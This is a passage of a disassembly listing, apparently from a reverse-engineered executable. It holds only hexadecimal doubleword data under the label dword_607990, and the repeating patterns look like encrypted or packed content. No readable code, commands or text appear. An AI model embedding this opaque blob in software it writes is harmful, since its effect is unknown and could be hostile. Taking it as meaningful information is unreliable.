		dd 481EE3CDh, 0F04DE465h, 0D7906C83h, 0EC7997EAh, 0EC799FE2h
		dd 0F04DE499h, 599074A2h, 79C5E446h, 9C0A7946h,	6D5BF49Bh
		dd 0F077B923h, 0EC9CE463h, 0F04DE387h, 0F04DBC63h, 6F32E463h
		dd 575FC84Fh, 0C195769h, 6FDA5968h, 0B85BF49Bh,	0F04DE480h
		dd 0A35758EEh, 4F54CB52h, 0F03C703Ch, 38E26563h, 55BE995h
		dd 1F80313Fh, 33912E69h, 9FE25931h, 0C65BF49Ch,	0F5B57463h
		dd 104DE463h, 672522DCh, 6F597FA4h, 17597FA4h, 0B04DE464h
		dd 0F76D22D3h, 7D25D55Ah, 114A58B3h, 6B9CCB53h,	0F19E78D7h
		dd 0F04D675Bh, 8FF2D4D8h, 0D65BF165h, 13864D28h, 0F04DCB53h
		dd 0F037E463h, 0F050BBD4h, 0DD6DE463h, 0D4D66724h, 0ACCEDF87h
		dd 0F06CDF87h, 0A510E463h, 0CF696624h, 0E4CFE604h, 0E94DE463h
		dd 0F04DCDE3h, 0BFDADF63h, 795BF193h, 1F798D37h, 0A04E3A69h
		dd 0F04DDF4Bh, 35258463h, 0C195CDCh, 0C196168h,	0F04DDB68h
		dd 351DA463h, 1D8BF843h, 0D7250EBh, 9B54CB53h, 0F19EAC63h
		dd 0F04DB24Ah, 662E7563h, 455F9C24h, 0DACA8D22h, 0A00E6337h
		dd 0C6C022FDh, 0DBEA1363h, 6D5BF163h, 0CFC9B740h, 0E9429A93h
		dd 0C708D183h, 0C4913868h, 1D4C949Bh, 0D27368FEh
dword_607990	dd 23753F50h, 0BCD83DC0h, 17E17A5Ch, 0D110E726h, 0D2E53D18h
					; DATA XREF: sub_58A891+134EDo
		dd 0A08197F9h, 0B6A618C8h, 0E7E3D1F1h, 7F4412BDh, 1E9D5F64h
		dd 3DCD18E2h, 7B9E95FCh, 7658EE6h, 0F7A60E49h, 7DBCEBBh
		dd 0B68D2049h, 813077F1h, 0B11DB58Ah, 2F55AE71h, 3D94BB68h
		dd 3D189BC4h, 0A64474ABh, 5541C33Ch, 3DB35EEFh,	1FC504C3h
		dd 5529A34Bh, 3DB35EEAh, 0D9A554FBh, 0F7B5A361h, 7A07C32Fh
		dd 95A8036Ch, 0B6A60DEBh, 82524182h, 0F5DD8640h, 57DD6767h
		dd 27DE18E2h, 0B77B956Eh, 6D1F77D0h, 33BF9261h,	2 dup(33BFCF38h)
		dd 9786CF38h, 33CA834Dh, 33BFCF38h, 9786CF38h, 33CA834Dh
		dd 33BFCF38h, 9786CF38h, 33CA834Dh, 4 dup(33BFCF38h), 9786CF38h
		dd 28EA834Dh, 0FCC4A0B3h, 88D44A34h, 28BDDA29h,	0FCC452B3h
		dd 64D44A34h, 28BDDA29h, 0FCC3D7B3h, 60D44A34h,	28BDDA29h
		dd 0FCAE3FB3h, 98D44A34h, 28BDDA29h, 0FCAD4CB3h, 34D44A34h
		dd 28BDDA24h, 0FCB0B3B3h, 0ACD44A34h, 28BDDA23h, 0FCAE6FB3h
		dd 0A8D44A34h, 28BDDA23h, 0FCAE2AB3h, 0D44A34h,	28BDDA24h
		dd 0FCACF5B3h, 3CD44A34h, 28BDDA24h, 0FCADA8B3h, 38D44A34h
		dd 28BDDA24h, 0FCE843B3h, 0D4D44A34h, 28BDDA23h, 0FCE75EB3h
		dd 0D0D44A34h, 14BDDA23h, 33BEB85Fh, 88424E38h,	1486BDB9h
		dd 33BFD260h, 8A406538h, 0AEA88E7Dh, 345C3D74h,	2ABFCF38h
		dd 6C9AC9C3h, 0A78693B9h, 33BFCCB3h, 6E4A9238h,	9758A910h
		dd 0FD41834Dh, 0CEEC204Ch, 94807B66h, 0AB94D036h, 96AEED4Ch
		dd 486D5C3h, 1D5B90BFh,	755B90C1h, 40BFD676h, 7049B5C1h
		dd 0E9423248h, 0A7DC483Fh, 345C3D74h, 0F5BFCF38h, 33BEA98Fh
		dd 0F39BE838h, 3120E8A1h, 0FC548BC2h, 246FD434h, 2A4AE8E8h
		dd 0AEA8D0F6h, 2BD2E14Ch, 4A539DF4h, 0B0FD47BBh, 0CD867B6Eh
		dd 3441B9D5h, 2A4AEAD6h, 0AEA8D0F6h, 35D2E14Ch,	4A539DF4h
		dd 0B0FD47BBh, 0CD867B6Eh, 0CB215987h, 0E138D5CAh, 7942314Bh
		dd 0AC8C0948h, 88424E37h, 1486BDB9h, 33BFD260h,	8A406538h
		dd 0AEA8A0BDh, 2AB700C0h, 797ED5CBh, 33BFD248h,	82868938h
		dd 0AF709F5Fh, 6B41D9C0h, 838A6A9Bh, 83212984h,	2A4C64A1h
		dd 0AEA8D0F6h, 2327E14Ch, 5BDFE7B7h, 4ADD9B34h,	18A0EAA7h
		dd 97DC4A3Ch, 97944AD7h, 33C2107Fh, 0B36B47E3h,	8BEA8650h
		dd 33BFCF34h, 8E6151F2h, 2ABDDA23h, 0E142C9C3h,	97930C3Bh
		dd 33BFCF34h, 953C86F6h, 2ABDE229h, 6B421F70h, 838B429Bh
		dd 83212984h, 2A4C64A1h, 0AEA8D0F6h, 2327E14Ch,	5BDFE7B7h
		dd 4ADD9E04h, 18A0EAA7h, 97DC4A3Ch, 97944AD7h, 33C2107Fh
		dd 0B36B47E3h, 2AEA8650h, 0E142C9C3h, 97930C3Bh, 33BFCF34h
		dd 93801F9Ch, 0A37A403Ch, 0FC43F677h, 33CA121Ah, 975B4F38h
		dd 33F1FB3Dh, 0B548CF38h, 5EBFCF37h, 0A778FD47h, 33BFD5B2h
		dd 3C4E4F38h, 0AC8114D6h, 0E8A4AD5h, 0A7DC6AA1h, 1D5AF8BEh
		dd 755B90C1h, 40BFCA76h, 7049B5C1h, 0E9423248h,	0A7DC483Fh
		dd 345C3D74h, 47BFCF38h, 0AC6914A9h, 0F399E008h, 0C8A7489Bh
		dd 33BFD277h, 0A78585B8h, 33BF9CB3h, 33B7BA38h,	6D4ECF38h
		dd 30B5DFB3h, 33BFCF42h, 6BCCB987h, 0A32414B2h,	18A0E777h
		dd 97DC4A3Ch, 97944AD7h, 33C2107Fh, 0B36B47E3h,	2AEA8650h
		dd 0E142C9C3h, 97930C3Bh, 33BFCF34h, 0B3A7489Ch, 6B3FD359h
		dd 4A8A47A4h, 0B0FD47BBh, 0CD867B6Eh, 31216187h, 0FC548BC2h
		dd 2A6FD434h, 18A0E879h, 97DC4A3Ch, 97944AD7h, 33C2107Fh
		dd 0B36B47E3h, 2AEA8650h, 0E142C9C3h, 97930C3Bh, 33BFCF34h
		dd 33BF7E90h, 113CD438h, 0A7BDE115h, 2A4AE8E7h,	0AEA8D0F6h
		dd 351AE14Ch, 488042A2h, 0F3E2A314h, 51537B3Fh,	0CB219D88h
		dd 0E138D5CAh, 7942314Bh, 0AC8C0948h, 88424E37h, 1486BDB9h
		dd 2AB700C1h, 797ED5CBh, 33BFD248h, 9723F338h, 0C4B9ACA6h
		dd 47A74834h, 3124103Ah, 0FC548BC2h, 0E6FD434h,	0E585190h
		dd 4A8A47A1h, 2CCB0521h, 2ADF85CBh, 0F27785F3h,	2B04CF3Fh
		dd 98134F5Ch, 0ABE44AD4h, 6ECAF8C0h, 33CA85F3h,	4A2BCF38h
		dd 358204Dh, 6C427B67h,	4A8AE098h, 0B10017BBh, 0C3867B6Eh
		dd 758AB9D5h, 0FD43EAD2h, 0A7DC6AA1h, 1D5AF8BEh, 755B90C1h
		dd 40BFCA76h, 7049B5C1h, 0E9423248h, 0A7DC483Fh, 345C3D74h
		dd 47BFCF38h, 953C86A2h, 2ABDE229h, 0F49BF680h,	0EE7148A1h
		dd 96BDDA32h, 0B4472C69h, 2A222C47h, 18A0E877h,	97DC4A3Ch
		dd 97944AD7h, 33C2107Fh, 0B36B47E3h, 2AEA8650h,	0E142C9C3h
		dd 97930C3Bh, 33BFCF34h, 6C9CB9D6h, 0BA4AEAD2h,	0AEA8D0F2h
		dd 5BE0DF4Ch, 4AE014B8h, 0CB23F69Ch, 0E138D5CAh, 7942314Bh
		dd 0AC8C0948h, 88424E37h, 1486BDB9h, 2AB700C1h,	797ED5CBh
		dd 33BFD248h, 2E472938h, 31222C5Fh, 0FC548BB2h,	2479D434h
		dd 47FFE783h, 0EE7148A2h, 96BDDA32h, 2E472C69h,	0CB222C7Bh
		dd 0E138D5CAh, 7942314Bh, 0AC8C0948h, 88424E37h, 1486BDB9h
		dd 33BFD260h, 8A406538h, 0AEA89985h, 345C3D74h,	2ABFCF38h
		dd 0E142C9C3h, 0A2C5F33Bh, 3400FB3Ch, 0CA9BCF38h, 3408FB3Ch
		dd 0B9BCF38h, 33BBFB3Dh, 249BCF38h, 33EAFB3Dh, 439BCF38h
		dd 33B6FD3Dh, 7B9BCF38h, 33C5FD3Dh, 0E058CF38h,	96BFCF37h
		dd 0E986D5C3h, 8871563Fh, 42BDDA29h, 8917BBh, 0C3867B6Fh
		dd 955B90BEh, 33BFD2E5h, 96CAED4Dh, 0BA4CC9C3h,	0AEA89F48h
		dd 0F37155E8h, 96BDDA23h, 97944969h, 33C0385Fh,	0A7E3D438h
		dd 28B6ED4Ch, 0FCC3C9B2h, 0BA4C6034h, 0AEA88E79h, 7937DF4Ch
		dd 33BBA948h, 0E986CF38h, 0ABE3D43Bh, 0FFAE17BAh, 28FA7B6Eh
		dd 0FCAE12B2h, 3579D434h, 345785F3h, 14BFCF38h,	755B90C1h
		dd 21BFCA76h, 33C041F4h, 33BFCC60h, 60DB0238h, 8C7542D0h
		dd 33BFCF3Fh, 0C5254AF0h, 7F0482ADh, 8A406186h,	0F0585C4Ch
		dd 0A62658EEh, 6F3F0C84h, 33CAE502h, 338E9FE0h,	3241A438h
		dd 2ABFCF38h, 2B885A65h, 0C446A42Dh, 0B37612B6h, 56B66A90h
		dd 0F1625166h, 0A6D043E7h, 33BF7DBAh, 96452938h, 20625225h
		dd 2AE46484h, 2AB65F82h, 33BFCF3Bh, 33BFCC60h, 0A14E38h
		dd 9BDACE6Ch, 15BE23EAh, 8749E2C1h, 0AC573210h,	8BBFCF37h
		dd 600B58C2h, 8C310C40h, 33BFCF33h, 81110F8Ch, 0A85733A5h
		dd 0ACBFCF37h, 31781529h, 48BE4316h, 15D67C51h,	766BCC90h
		dd 30B689D7h, 33BFD220h, 33BF9F5Fh, 0D2D86E38h,	6A6628F2h
		dd 0B9D4B89Fh, 25E67215h, 0BA890D47h, 33BF6C5Fh, 0EF577538h
		dd 65DDF456h, 715F6DB5h, 47200CB7h, 40588F15h, 1385834Dh
		dd 0B69B732Fh, 95964C79h, 5B55A702h, 38255219h,	0A94785C1h
		dd 9D0B66F4h, 1BCDD327h, 887866EBh, 0BB4054E6h,	0C478647h
		dd 462EF802h, 365B44B8h, 0A94785BCh, 0B7E923ACh, 0C3F136C9h
		dd 20F2AB34h, 0D25345E9h, 2B74D287h, 0D28BAB55h, 0A41C1038h
		dd 96516C5Eh, 790F512Ah, 0EFA20986h, 0BABAE3F7h, 0C70D0736h
		dd 6478D226h, 28D67206h, 5C4BFB55h, 0CE09D3E2h,	56CB3D80h
		dd 0F51A54E4h, 0F0478326h, 0A0471B35h, 0A98CABB6h, 0E0085B6h
		dd 6A69F21Ch, 0EE580266h, 3CA1C27h, 0E4EDBE8Bh,	0Bh dup(0E4CA1C27h)
		dd 3BCA1C27h, 0E4BF4A8Dh, 0CC5C9C5Fh, 89E8BF27h, 9DE2BCCCh
		dd 3BBDAF22h, 0A6A83C0Bh, 0CC865F5Eh, 89A4BF27h, 32E2BCCCh
		dd 3BBDAF30h, 0A6A83C07h, 0CBAA055Eh, 8250BF27h, 0AE2BCCCh
		dd 3BBDB21Eh, 0A6A83933h, 0CB9D0E5Eh, 89CCBF27h, 0A81FBCCCh
		dd 16389223h, 6EF3FB7h
		dd 45DD30C8h, 79F5F7FFh, 74EC038Bh, 596C1A60h, 20762760h
		dd 7871506Bh, 0E335C64h, 0CD8BD34Bh, 42140EF4h,	0EEA96611h
		dd 452E104Eh, 0FAE7AB1Ah, 0E6A9DA82h, 0A9214259h, 0ED59038Ah
		dd 0F66BE65Eh, 147DF59h, 0D9E18996h, 4913D27Ah,	0CE1E370Fh
		dd 5E8826D1h, 0CE3EC286h, 91B226D1h, 18419180h,	81449B9h
		dd 58A7D5E1h, 591CD7E6h, 34794EA6h, 0CA8FDEBEh,	11703992h
		dd 0E4CA1C48h, 0B89C15F6h, 8386A6h, 133F8F54h, 4B4E20D5h
		dd 12977E19h, 6E8AA762h, 0B7BE1D1Ch, 4E8BFEFCh,	6E119BF6h
		dd 0AC0BDA7h, 0E3CF6913h, 0AA96E27Bh, 0B24FBA31h, 874B3725h
		dd 39488C3Dh, 0AAAC50F8h, 0F3F69631h, 1E33DCF3h, 0CC4E8F4Ah
		dd 5C705ACAh, 2BB3D2EDh, 0F81D56C2h, 40AE4EA5h,	4BCA1C28h
		dd 0F0D4790Ah, 96D404C3h, 0D3C3E494h, 0EAB2251Ah, 129827F9h
		dd 35DEC59Ah, 7FA7DA24h, 1CD058D9h, 43FB1C28h, 0F8089F49h
		dd 45443AB7h, 442F601Ah, 0F9B08804h, 0DF61731Dh, 4B823530h
		dd 0B91C4597h, 371A3361h, 30AFDC58h, 0CB194D2h,	93F55002h
		dd 0CB191ECh, 40B7C19Ch, 75DB650Dh, 0FC7E51C7h,	0AC723F2Bh
		dd 24080F8Ch, 0E4BF021Dh, 133F5F27h, 0B8FD20D5h, 558713E3h
		dd 967AD8E7h, 0F675803Dh, 600CA73Ah, 0CB15CD8h,	0D54863B9h
		dd 2408BBD7h, 0E4CA7A3Eh, 89A00427h, 0CE397BBBh, 5BFE5031h
		dd 6A47E1A1h, 3FF32A03h, 372253FDh, 129D836Ch, 0B5CD3C07h
		dd 4811D33Bh, 129D8518h, 76230454h, 1D1E4B66h, 91FC74Fh
		dd 0A84AF93Fh, 0AC87D62Eh, 0A1552C35h, 0E61026D1h, 99ED0079h
		dd 0FD94F59Dh, 0A6E3EEF2h, 57F10118h, 0EB10D280h, 0D8180C42h
		dd 0F6BBAF09h, 8A9DDBE6h, 4DB49692h, 422923F7h,	0B0FA7399h
		dd 0B9C9721Fh, 0AFCD1FBAh, 23303FCBh, 247B86BBh, 1B710B4Fh
		dd 0A81F1C28h, 16389223h, 6EF3FB7h, 45DD30C8h, 79F5F7FFh
		dd 74EC038Bh, 596C1A60h, 20762760h, 7871506Bh, 0E335C64h
		dd 0CD8BD34Bh, 42140ED6h, 83A06611h, 9DCBC5BDh,	64C0C037h
		dd 0A8B27216h, 0B035465Ch, 0D68713E2h, 0D9CD2C0Eh, 0FC8713E2h
		dd 0EA9E47E1h, 0F70B6170h, 9BFCFE2Ch, 0CA7D7D8h, 133C96C8h
		dd 296F8DC9h, 51D4AFEEh, 0B1614EA6h, 3C273FB0h,	0ED0EA272h
		dd 0F7941C27h, 0BF3DF0D2h, 4F973C06h, 77127DADh, 0B30725Eh
		dd 372274A9h, 1297D050h, 0EB85AA7Bh, 0D73A8772h, 45715319h
		dd 0FC935F1Ah, 92D52A30h, 96F91993h, 0D7C7C286h, 0F59E26D1h
		dd 0DB2DA56Eh, 0B58C3C35h, 0EC854031h, 0C6E10D9Ch, 6B78EE56h
		dd 0EC2CF001h, 3847DF63h, 63DD8E27h, 0BB0558DEh, 4A9F0AC9h
		dd 1461B1E9h, 4D8BBF05h, 0E564EEBBh, 0B3E0CDADh, 0E8AEEAEEh
		dd 9C9F0A7Bh, 9BEE2DB7h, 2FEBF53Fh, 0AE334A2Bh,	5DB982F8h
		dd 0C2AB1F90h, 9DEEB98Fh, 0E4B7A82Dh, 0AE6B9E27h, 3864647h
		dd 0D397446Eh, 6AE7317Ah, 0BF095B13h, 0B7E65A2Eh, 4C00AC13h
		dd 1EB9DB06h, 7488B57Bh, 7EB76F59h, 0D33A774Eh,	414E2629h
		dd 65DFEB76h, 0B4364ACEh, 9BC113D8h, 0BA6ECA39h, 5FE9EEBEh
		dd 0E24D084h, 0BE50F921h, 46BC36E6h, 8FA97888h,	1F7A013Ch
		dd 0E181D271h, 0CA7C116h, 0AB2D1879h, 0A264F274h, 0FE3D5C1Fh
		dd 9989852Dh, 0A2C7B9B4h, 0E836DF3h, 869B5420h,	0EE82078Fh
		dd 7FA949A2h, 0A1DA190Bh, 0E55D6DBFh, 1D6DD61Bh, 1C7BF4A9h
		dd 7E14567Fh, 0D78B85D9h, 7448AF9h, 0FBFE4DFAh,	0E7903523h
		dd 4BCB8071h, 749FABBBh, 0AEE4ADFDh, 0C8CA1C3Eh, 0A92FF988h
		dd 0F30628E6h, 0C43825EAh, 9AEE1FC9h, 0FCE90C3Ch, 49897CCAh
		dd 1062A8B0h, 0A8B273BBh, 5549936h, 1781D471h, 0ABFB066h
		dd 44203A5Eh, 131F9F49h, 0FCE48B48h, 903EEBD3h,	0B55D22ECh
		dd 0F19D7A31h, 3F3A8775h, 48F8330Fh, 5A45DF10h,	0B573ADC1h
		dd 7101AE31h, 0FE511DF5h, 0EFAC26D1h, 5DCBA56Ah, 0CA7BD32h
		dd 0DE5A9149h, 3257DCD9h, 0D826BB95h, 0F40226D1h, 0E35D6F09h
		dd 0AB3F662Ch, 492EE00h, 63A9F19Dh, 0DB166279h,	30DD46E4h
		dd 65C08E67h, 0FE35D9B1h, 86C3EE00h, 5EE8EE35h,	677A21D6h
		dd 0E32859C2h, 0E4BF247Eh, 0E0D08814h, 3227432Ch, 3D59C3Eh
		dd 0DA8E72CBh, 6F0977E5h, 9CC46DD1h, 9370B934h,	0FC69AC63h
		dd 748B857Fh, 15C96DF9h, 0E40E1D72h, 3B78C731h,	0E3551DA7h
		dd 0B569707Dh, 71084C31h, 0C2950AFDh, 0F55BB08Ah, 0CC6810A1h
		dd 0FE336B07h, 0CA7AD84h, 64A753Eh, 8F7BD33Ch, 899F47D7h
		dd 0CA6E83Eh, 0FDE30092h, 302B313Dh, 999AE619h,	0CA6F5EAh
		dd 69D69A3Bh, 0B56108FAh, 0CFEC0F31h, 8308B7E1h, 0BA8DC243h
		dd 726BDD12h, 0CA6F5F7h, 0A1308981h, 84936DEFh,	8CB103E8h
		dd 460D62B4h, 57F4E01Bh, 8978CF81h, 97ABEF86h, 7E31B2h
		dd 0AAF16F1Eh, 93402831h, 15C9C6B1h, 38A3B079h,	122931C6h
		dd 3415A5BEh, 0CB23E43h, 90A97B80h, 505CB9D3h, 0CB1892Bh
		dd 25B8F495h, 30769A71h, 1A8326D2h, 5C476CB3h, 4A0E61B4h
		dd 0EF5D9EB6h, 0E4A3034Dh, 0E44C7F8Dh, 62801C27h, 1EC8E816h
		dd 0CA7B104h, 71B03067h, 0AD91A0F0h, 93257629h,	284EC6CDh
		dd 2E630DD6h, 19C9E84Fh, 0A658944Eh, 66333BA2h,	0C3FF9733h
		dd 460D62B7h, 5AB0DC07h, 0D279FA63h, 0E6B10B17h, 97B35687h
		dd 2FF91EC2h, 0B8910E98h, 9CD9BEE5h, 77DD1EDAh,	3D98F5F5h
		dd 1DA712ABh, 32476CB3h, 0C7E1A23Dh, 0B84A1FB9h, 4FD90BE2h
		dd 9C37C938h, 9C02F0FEh, 9C4BBBA3h, 0C4ACF0FEh,	642F4116h
		dd 9BE3B3ABh, 8C94F0FEh, 7A26183Fh, 0BDA86C5Ch,	4690B45h
		dd 1162A919h, 0AEB4A7D6h, 2929E65Eh, 9F19A570h,	4B7BF001h
		dd 1E1FAEF6h, 0D2956A71h, 0FC0F5A63h, 0F4027FDBh, 9ED823FAh
		dd 0B650F001h, 4F58AC13h, 1EFCFDE8h, 4271526Ch,	0FBDD5D06h
		dd 1377E1FBh, 9EEFB78Fh, 6898F001h, 0DE709C2Dh,	0D1D475BDh
		dd 5801E0F9h, 55C3EE95h, 0C2F7AAAFh, 0E2DCB65Eh, 1E0E867Eh
		dd 1A147B58h, 1383EF53h, 1EB9DC6Dh, 0D468B67Eh,	71995179h
		dd 0EB5160F0h, 6D90C4B9h, 62CFED7h, 2415FF9h, 8C591518h
		dd 6214BCCFh, 0D26761E2h, 812A5DC5h, 4F09ABF0h,	0D8B850Eh
		dd 0D6F4959Bh, 0D98B650Fh, 7A5D950Ch, 0C1FBA9FEh, 3722701Dh
		dd 138192BCh, 45636D0Fh, 7117C761h, 364F1A6Ch, 8D7931ABh
		dd 37325696h, 7C930D8Dh, 50591693h, 0DB16B2B0h,	0F951E813h
		dd 0F8EA55FCh, 0DADEF001h, 322F9AF3h, 1384A7C1h, 0F5507C12h
		dd 0B0285109h, 0DD59038Ah, 0C63BB511h, 29176F09h, 4B29A588h
		dd 0BEEF5071h, 2569D124h, 317AAAAFh, 1E590205h,	5D9EB78h
		dd 2C59E893h, 655E6EB3h, 0EA590205h, 0B896EF9Bh, 0CB12F8Eh
		dd 5214B1E9h, 0B487C66Bh, 161D95EEh, 47025009h,	5A45DF04h
		dd 0AA8EADC1h, 4E01AE31h, 0AA8E088Ah, 0D9EC0F31h, 670182DCh
		dd 53ADCBD7h, 1EBCB1E9h, 0D53C056Fh, 0C87D7E69h, 9EA3A8D5h
		dd 0DAD3DB41h, 69CBE809h, 76570A5Bh, 4D827103h,	1C7BD868h
		dd 0A0566BEBh, 0E836DF3h, 3625F720h, 0CE9F16F2h, 0CA13CB0Fh
		dd 0AE1AD94Ah, 0C5F36CFAh, 4D8266FDh, 241044C6h, 913E31BCh
		dd 0DE40691Fh, 860BA2DEh, 0CA3A0BCh, 0D41697A7h, 0C4625813h
		dd 1283C255h, 0E4531BB0h, 2572C227h, 0EC840991h, 49D1779Eh
		dd 0B456A8B0h, 0A86D6FA7h, 0A5627E55h, 70292C01h, 0C33517D6h
		dd 973124C6h, 0A2DE0735h, 0CC8DF3ECh, 9CFA2629h, 36599B9Eh
		dd 0D8E76224h, 0B03626D1h, 0A14E2C16h, 198A26D1h, 5BC482DEh
		dd 0D8714EA6h, 75F550F5h
		dd 0E2775E1Ch, 53ED1C27h, 1297CF80h, 5CFE2C0Ch,	9598E2A2h
		dd 768CDF76h, 405CB9ABh, 7534D65Ch, 0AFD318ECh,	0D898446Dh
		dd 77DCA0Fh, 0ED515FF9h, 371A3360h, 1ED1DC58h, 70FB138Bh
		dd 51FD1D1Ch, 452E0CA6h, 0A5C8BE1Ah, 4BCD12C8h,	0F901F9F4h
		dd 70FC0DE7h, 6C11D1Ch,	0DFDB8B45h, 4FF4DB4Dh, 0E78B0460h
		dd 0E4AB4258h, 4864A9Ch, 64B58192h, 30DFA4B6h, 7C3DDD8Dh
		dd 0CA688416h, 0B185B1Dh, 65BF1B4Bh, 0F7E410E3h, 0B003472Dh
		dd 0DA5936A2h, 37070A06h, 88320F79h, 6FF61D1Fh,	88E047FFh
		dd 0D8E91D1Fh, 0A84B620Dh, 6D5936A2h, 68D1B440h, 99AC184Fh
		dd 2DE234D2h, 7BA2B5EAh, 74BF216h, 1B21BC01h, 7202B1E4h
		dd 0E4CACE69h, 0EFAA2B27h, 43689A57h, 30E41F99h, 2B508C0h
		dd 544326D2h, 8CC58E3Eh, 5DAE08FDh, 0CB4D9249h,	9FF25A7Bh
		dd 10A6B50Eh, 3254671Fh, 456526D2h, 3D69A269h, 588326D2h
		dd 0B723E6F1h, 64B74EA2h, 7ACA1C24h, 0CBCFF1A4h, 1297CFAAh
		dd 0EC971F8h, 0EED0F922h, 75CF6E92h, 0E070460Eh, 0E80E1D1Eh
		dd 0ADCB71EEh, 96880751h, 7AD298D6h, 0F7D90216h, 8A9DDFE7h
		dd 7FA9A510h, 12A2D83Ch, 0C3350284h, 7AD1AFDAh,	15BE0B16h
		dd 0FB8A3943h, 0C5904F0h, 0ABFE8AAh, 0F6DA7613h, 92D5362Ch
		dd 8AA6229h, 32DB1D1Fh,	0CEF34124h, 114B2AE0h, 0C3F21D1Fh
		dd 1484E38Ah, 0EBA01DA5h, 0E2F2996Eh, 1282FDC2h, 42BBEBA5h
		dd 17DB5D0Bh, 86D43B08h, 7B50DE76h, 0AD343403h,	50E8D4D3h
		dd 1ACE0183h, 0A7624A44h, 0B5582868h, 8C07431h,	0B5585665h
		dd 39AC1331h, 86F3B779h, 0E4BBBC67h, 42CC1C27h,	6F912F0Bh
		dd 93C0D522h, 6F9FA034h, 58C2CAA1h, 745C56B0h, 91C74D78h
		dd 129725D6h, 791358BAh, 0AB0A064Ch, 0B47AD631h, 0AB08F457h
		dd 4E8531h, 6413489Bh, 0E27DDE67h, 4D6E1C27h, 0F21F9F49h
		dd 5CADF3ECh, 6E759964h, 47701D1Ch, 1E33C0D8h, 0CC4E8F4Ah
		dd 6C71C972h, 0A08C1D1Ch, 0D4C3CBD6h, 0FEDF2F3Ch, 9C50B610h
		dd 11CAB7C0h, 19A61AB3h, 534C5C94h, 21E72B19h, 798B7B75h
		dd 0F5A6859Ah, 0EB1F0717h, 0CCFC52ECh, 42B905D3h, 379E28AAh
		dd 0A214D9C2h, 63C33920h, 0DC5885BEh, 0F60077B4h, 120D3A2Fh
		dd 67DF4952h, 2B71D2E5h, 81F3559Dh, 50F4F670h, 6A5D506Bh
		dd 808E36A7h, 3A042E7Bh, 0C9F7347Bh, 0B161EFBEh, 95F082D5h
		dd 67A68474h, 38ABE69Ah, 8FAD1C69h, 2429C423h, 8F841752h
		dd 6823CA14h, 9489D5A2h, 0CC357EBFh, 0C4EA88D9h, 0B2EA6571h
		dd 6F3874C6h, 78D68CBEh, 0CE08DAAAh, 1B5C4FD5h,	2573E245h
		dd 0F71F827Eh, 0C63A85FBh, 7B77A2ADh, 7A34A56Ch, 1967EFC6h
		dd 0D9BFABE1h, 0CDDBE8ECh, 354378EDh, 0D81F259Ch, 0CD96DCDh
		dd 0E041F342h, 1C710E55h, 0D9C94FC6h, 0A2D5030Bh, 0F0A0D25Dh
		dd 0B21DE6BAh, 4EB88DDCh, 0C5436854h, 0ADF237D4h, 59A75FDDh
		dd 20623509h, 3110701Ah, 960437AEh, 92715687h, 2705F17Ch
		dd 4BDE79B6h, 5DE16C9Ch, 30F00C32h, 3F6210E2h, 0AA1B0CDDh
		dd 92ECA6D8h, 2D49E9D7h, 68A16564h, 0C7E3E869h,	0B344BD1Dh
		dd 8BDA83D1h, 9000506Ah, 40F1822h, 0D73CE43Fh, 39510EF5h
		dd 5D4E207Bh, 0B161ECA8h, 0BED88ADDh, 0CFEED8DCh, 605D7D62h
		dd 3795D473h, 8B511C6Ch, 56C9DF79h, 9078C2FDh, 3C31ADEBh
		dd 9480D6A5h, 0AC1280C1h, 0B2335216h, 977FCCC6h, 0FC518CBEh
		dd 9FAFE164h, 0A09D6468h, 56CF9190h, 168C10Eh, 39CB6347h
		dd 0B30741DFh, 0E7C652ECh, 0F11DBB16h, 59EC8EBFh, 666FE09h
		dd 0BDB7F344h, 0D25A8520h, 0D71F4A29h, 3995B546h, 84A0A5B7h
		dd 1363299Fh, 0E0BE38F5h, 0CB8F509Dh, 0E95AE7DEh, 418BA17h
		dd 0F2F60A3Dh, 4A881F0Eh, 8D1B7DFCh, 23CC5772h,	2348FF66h
		dd 0F97220DAh, 509D0C76h, 0C16375E4h, 0AF8CA1B0h, 8E1BB21h
		dd 0BD101B57h, 185F8EBh, 88811180h, 0B5B7AE3Ah,	19FF1511h
		dd 0D9DED49h, 0D73A5BFEh, 40CF5A64h, 35F5232Ch,	0B848C3ECh
		dd 0E72AF7EAh, 67F5D04Fh, 0FFA34D9Dh, 0D03FD7B6h, 3AEAB4D1h
		dd 6F942B9h, 1EB766DDh,	83AB0945h, 0C57FA997h, 9AD44139h
		dd 4890B950h, 19FF1512h, 8028B20Eh, 5E2144BAh, 0AE2E4BEFh
		dd 2F3FEBC3h, 46CEF564h, 0B22A5E56h, 0FC6EDDCh,	3BAA40A4h
		dd 19AB7DDEh, 7E80BEC9h, 8F57FFB4h, 3AB313FFh, 6BBAF9B1h
		dd 2E945077h, 0DD32E05Bh, 89952D6Ch, 0B5D1C4A1h, 60AE7A04h
		dd 4DE10E4Bh, 791B825Dh, 2502518Eh, 0FEACA35h, 0C6E27ABBh
		dd 0D5B74D3h, 6CD71358h, 0B161EDD3h, 2A55FB61h,	0E0B351C1h
		dd 71D71057h, 0B161EDD3h, 0B155F85Fh, 0A6D4EDDCh, 6D02990h
		dd 0D0D03F91h, 0B156AF5Eh, 0C8D6EDDCh, 0B161EDD3h, 15B60155h
		dd 34CB5958h, 0E37427B0h, 0B157B45Fh, 7AA2EDDCh, 7D2C6D82h
		dd 49A823E2h, 0B15756A7h, 2ECB5157h, 186B51B1h,	2855F962h
		dd 0F1CE5189h, 0D6376D4h, 3275D803h, 0B156F193h, 0AB156EDCh
		dd 15CB6155h, 14CB617Eh, 0B156B160h, 1E6EEDDCh,	92BD2504h
		dd 527F5F87h, 0AE55C4B5h, 0FE820E93h, 970BF331h, 44FDB5F8h
		dd 8C4E9C56h, 0C49CD993h, 82733372h, 0E459B6CCh, 0E20217B0h
		dd 3B690CCCh, 75AE9B5Eh, 2E3EC4FCh, 7D5AEB8Bh, 744037C5h
		dd 0C2040CF7h, 0EDF0B77Fh, 0E5954BEBh, 84C34797h, 5862C36Ch
		dd 0C271CD28h, 0D19C5743h, 0BA200576h, 383D517Fh, 0D8ED5F05h
		dd 8763849Bh, 21C75AEAh, 7C55C2F6h, 0C21FBADBh,	660AF4D7h
		dd 0C88FC692h, 0B161ED4Bh, 7 dup(0B161EDDCh), 0B161EDDEh
		dd 33h dup(0B161EDDCh),	71D04003h, 285F1C56h, 0AC702C75h
		dd 9161EDDCh, 9B1F570Eh, 254DD5C6h, 0B161EDE0h,	0ADD47267h
		dd 0B155BCC0h, 35E258E3h, 0AB285518h, 0E220A1DCh, 3717DAD1h
		dd 0B156F190h, 9F3C7457h, 55E3F64Fh, 0AB3110EDh, 1969C27Dh
